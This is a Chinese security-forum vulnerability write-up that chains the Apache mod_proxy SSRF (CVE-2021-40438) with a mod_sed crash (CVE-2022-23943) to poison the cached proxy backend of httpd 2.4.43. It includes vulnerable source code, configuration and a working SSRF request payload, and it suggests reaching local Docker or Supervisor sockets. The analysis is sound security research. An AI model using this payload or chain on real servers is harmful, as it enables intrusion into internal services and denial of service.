问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
探索 Apache httpd 多模块组合拳攻击
漏洞分析
一次mod_proxy和mod_sed模块的组合拳利用
背景 -- 在跟着一篇文章复现mod\_proxy的SSRF漏洞时(CVE-2021-40438),我发现一个很奇怪的点,就是在利用反向代理ssrf第一次成功后,后续想ssrf打其他的地址,发现返回的还是第一次的回显,这就让我十分疑惑,只能进入apache源码中进行调试,发现了一些蹊跷 原因概括一下就是apache在第一次反向代理的时候会把请求的hostname与port保存在内存中,类似一个缓存机制,之后如果再走反代会读取这片内存,后续也会跳过对hostname与port的赋值操作,这在正常反代中是没有问题的(因为反代的地址是conf里面写死的) 可能存在的攻击手法 --------- 如果我能用反代进行ssrf(必须是当前进程第一次反代),便可以污染这片内存,控制该进程处理的后续所有反代请求的hostname与port,达成一种攻击手法 该手法有以下几个要点: - 能利用反代进行ssrf,从而控制反代的地址,可以利用 CVE-2021-40438 - 能随时污染这片内存,我第一个想到的思路是利用某种方法把 apache 给打down,如果apache再重启我们就有机会发送当前进程的第一次反代,从而抢先污染这片内存,第二种思路是找到一种能够覆写这片内存的办法,这样才能覆盖掉原来缓存的hostname与port,对于第一种思路Nama找到了 CVE-2022-23943 能够打到dos的效果,使进程killed,第二种思路暂时没找到合适的办法 - 确保稳定性,如果apache是单进程,我们先让这个进程down掉之后,一次ssrf即可污染,但如果是多进程,这个过程就比较麻烦 环境配置 ---- - Ubuntu 20.04 - Apache 2.4.43:在两个CVE的攻击范围内 - apr-1.6.5 :某些apr函数不下源码编译调试的时候进不去 - apr-util-1.6.1 - php7.4 :mod\_sed模块需要,但不重要 conf 配置中需要开启以下模块 ```js LoadModule proxy_module modules/mod_proxy.so LoadModule proxy_http_module modules/mod_proxy_http.so LoadModule sed_module modules/mod_sed.so ``` 攻击过程 ---- ### 利用 mod\_proxy 进行 SSRF apache配置中在8000端口开一个反代服务 ```php <VirtualHost *:8000> ServerAdmin webmaster@localhost ServerName localhost:8000 DocumentRoot /home/oyzy/workspace/apache-binary/httpd/htdocs/proxy LogLevel notice proxy:trace8 ErrorLog /home/oyzy/workspace/apache-binary/httpd/logs/error.log CustomLog /home/oyzy/workspace/apache-binary/httpd/logs/access.log combined ProxyPass /proxy "http://www.example.com/" ProxyPassReverse /proxy "http://www.example.com/" ProxyPass /exp "http://www.baidu.com/" ProxyPassReverse /exp "http://www.baidu.com/" </VirtualHost> ``` 分析过程参考[Apache mod\_proxy SSRF(CVE-2021-40438)的一点分析和延伸 | 离别歌 (leavesongs.com)](https://www.leavesongs.com/PENETRATION/apache-mod-proxy-ssrf-cve-2021-40438.html) 漏洞是在Apache代码中modules/proxy/proxy\_util.c的fix\_uds\_filename函数: ```cpp /* * In the case of the reverse proxy, we need to see if we * were passed a UDS url (eg: from mod_proxy) and adjust uds_path * as required. */ static void fix_uds_filename(request_rec *r, char **url) { char *ptr, *ptr2; if (!r || !r->filename) return; if (!strncmp(r->filename, "proxy:", 6) && (ptr2 = ap_strcasestr(r->filename, "unix:")) && (ptr = ap_strchr(ptr2, '|'))) { apr_uri_t urisock; apr_status_t rv; *ptr = '\0'; rv = apr_uri_parse(r->pool, ptr2, &urisock); if (rv == APR_SUCCESS) { char *rurl = ptr+1; char *sockpath = ap_runtime_dir_relative(r->pool, urisock.path); apr_table_setn(r->notes, "uds_path", sockpath); *url = apr_pstrdup(r->pool, rurl); /* so we get the scheme for the uds */ /* r->filename starts w/ "proxy:", so add after that */ memmove(r->filename+6, rurl, strlen(rurl)+1); ap_log_rerror(APLOG_MARK, APLOG_TRACE2, 0, r, "*: rewrite of url due to UDS(%s): %s (%s)", sockpath, *url, r->filename); } else { *ptr = '|'; } } } ``` Apache在配置反代的后端服务器时,有两种情况: - 直接使用某个协议反代到某个IP和端口,比如`ProxyPass / "http://localhost:8080"` - 使用某个协议反代到unix套接字,比如`ProxyPass / "unix:/var/run/www.sock|http://localhost:8080/"` 而该函数就会对第二种写法进行处理,进入if语句要满足三个条件 - `r->filename`的前6个字符等于`proxy:` - `r->filename`的字符串中含有关键字`unix:` - `unix:`关键字后的部分含有字符`|` 当满足这三个条件后,将`unix:`后面的内容进行解析,设置成`uds_path`的值;将字符`|`后面的内容,设置成`rurl`的值。 举个例子,前面介绍中的`ProxyPass / "unix:/var/run/www.sock|http://localhost:8080/"`,在解析完成后,`uds_path`的值等于`/var/run/www.sock`,`rurl`的值等于`http://localhost:8080/`。 **可控参数** 这里的`r->filename`是部分可控的,由`mod_proxy_http`的`proxy_http_canon`函数处理,不具体分析,主要作用是拼接`proxy:`、scheme、`://`、host、port、`/`、path、search,成为一个字符串,赋值给`r->filename`。 这里面,scheme、host、sport来自于配置文件中配置的ProxyPass,而path、search来自于用户发送的数据包。也就是说,`r->filename`中的后半部分是用户可控的。 那我们回看前面的`fix_uds_filename`函数,它在`r->filename`中查找关键字`unix:`,并将这个关键字后面直到`|`的部分作为unix套接字地址,而将`|`后面的部分作为反代的后端地址。 我们可以通过请求的path或者search来控制这两个部分,控制了反代的后端地址,这也就是为什么这里会出现SSRF的原因。 **绕过限制** 当然,这里面有一个问题,那就是Apache在正常情况下,因为识别到了unix套接字,所以会把用户请求发送给这个本地文件套接字,而不是后端URL。 如果你这样发请求 ```php GET /?unix:/var/run/test.sock|http://example.com/ HTTP/1.1 ... ``` 此时会因为找不到unix套接字`/var/run/test.sock`而返回一个503错误 这里有一种非常巧妙的办法来绕过,根据这篇文章[Building a POC for CVE-2021-40438 – Firzens Blog](https://firzen.de/building-a-poc-for-cve-2021-40438) ```php GET /?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://google.com/ HTTP/1.1 ``` 最终结果就是unix套接字的地址变成了null,从而会请求`|`之后的url **代理时的缓存** 在反代过程中,发现和目标产生连接的代码在这个地方,这个位置由于调试技巧的不足找了很久,最后是nama想到的一个方法快速找到了此处,也就是注释中的Step One这, ```cpp /* Step One: Determine Who To Connect To */ uri = apr_palloc(p, sizeof(*uri)); if ((status = ap_proxy_determine_connection(p, r, conf, worker, backend, uri, &locurl, proxyname, proxyport, req->server_portstr, sizeof(req->server_portstr)))) goto cleanup; ``` 这里的backend保存了请求的信息,`ap_proxy_determine_connection`函数会给backend进行赋值 而在`ap_proxy_determine_connection`之前会让backend经过一个初始化操作,代码如下 ```cpp /* create space for state information */ if ((status = ap_proxy_acquire_connection(proxy_function, &backend, worker, r->server)) != OK) { return status; } ``` 这个初始化过程,也就是`ap_proxy_acquire_connection`函数会给backend分配一片内存空间(这片内存不会每次都清空),如果是第一次代理,初始化的这片内存就是干净的,但如果是第一次之后的代理,这片内存中就会留下之前的hostname与port(其实还有schema),初始化时会赋值给backend,然后在step one的`ap_proxy_determine_connection`中就不会再次进行赋值(这是该函数中的逻辑),如果我们能在第一次反代时就能污染这片内存,就会让以后的proxy请求都发到一个我们控制的地址上 **污染过程演示** ### 利用 mod\_sed 进行 Dos 这个污染过程需要让进程第一次反代时就被污染,我这里找到了一个CVE可以达到类似效果 这种方法利用了mod\_sed模块,这个模块是apache一个类似过滤器的模块,主要有两种模式 1. AddInputFilter:这种模式会在apache处理请求前进行过滤,也就是处理从客户端接受到的数据 2. AddOutputFilter:这种模式会在响应发送给客户端之前进行过滤,也就是处理apache处理完之后即将发给客户端的数据 **正常功能演示** 这个CVE的目标是AddInputFilter,如果配置文件中存在类似如下的过滤器,就会受到影响 ```php AddInputFilter Sed php InputSed "s/t/hhhhh/g" ``` 漏洞在 `appendmem_to_linebuf`函数中 ```cpp /* * appendmem_to_linebuf */ static void appendmem_to_linebuf(sed_eval_t *eval, const char* sz, int len) { unsigned int reqsize = (eval->lspend - eval->linebuf) + len; if (eval->lsize < reqsize) { grow_line_buffer(eval, reqsize); } memcpy(eval->lspend, sz, len); eval->lspend += len; } ``` 当我们传入非常大的数据时就会发生问题,memcpy会发生越界,最终导致进程崩溃,具体原理还没研究。。。 这里给出的利用方法概括一下有两种 1. 传入4GB数据,会导致memcpy中的len计算异常,发生越界 2. 传入2GB数据(貌似的默认能接受的最大数据),也会导致memcpy越界 ### 单进程下的攻击 apache单进程启动 ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/03/attach-0b929e50be96abb9f417a2d051914301105cb0a1.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/03/attach-aec9dffdfe6504746419e72e357c63d8c4f92a25.png) ### 多进程下的攻击 多进程启动 ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/03/attach-1113d4ab0e1ca82feff596d8aa9be032a2ee481a.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/03/attach-255e232e4aa2ef76bc6b487522443d5b0500e9bb.png) 扩展攻击面 ----- > 1、这个SSRF漏洞是否可以打本地的unix socket? 可以,原本这个漏洞的第一请求目标就是本地的unix套接字,我们只要保证地址正常就可以打本地的unix套接字,能打类似于Docker、Supervisor这样的本地服务 > 2、这个SSRF漏洞是否可以攻击一些非HTTP协议的服务? TCP是一个数据流,即使我们打出的数据包前面有HTTP头,这并不影响后续正常的满足二进制协议的数据流的发送与接收。 > 3、其他的proxy模块是否存在这种漏洞 mod\_proxy\_ajp、mod\_proxy\_http2、mod\_proxy\_balancer、mod\_proxy\_wstunnel等这些模块也会受到影响,这里感觉还有很多可以发掘的东西 > 4、在控制那一块内存的情况下有没有别的攻击方式 可能也许有二进制洞。。 > 5、其他版本是否有可能存在此类问题 目前只测试了2.4.43 > 6、如何稳点Dos多进程 可能有其他更稳定的dos方法,可以让php发生crash,两个CVE > 7、有没有办法强制覆写那一段内存 不知道。。。 Reference --------- <https://jfrog.com/blog/diving-into-cve-2022-23943-a-new-apache-memory-corruption-vulnerability/> [Apache mod\_proxy SSRF(CVE-2021-40438)的一点分析和延伸 | 离别歌 (leavesongs.com)](https://www.leavesongs.com/PENETRATION/apache-mod-proxy-ssrf-cve-2021-40438.html) [Building a POC for CVE-2021-40438 – Firzens Blog](https://firzen.de/building-a-poc-for-cve-2021-40438)
发表于 2023-03-17 09:00:00
阅读 ( 5664 )
分类:
漏洞分析
1 推荐
收藏
0 条评论
请先
登录
后评论
A丶R
2 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!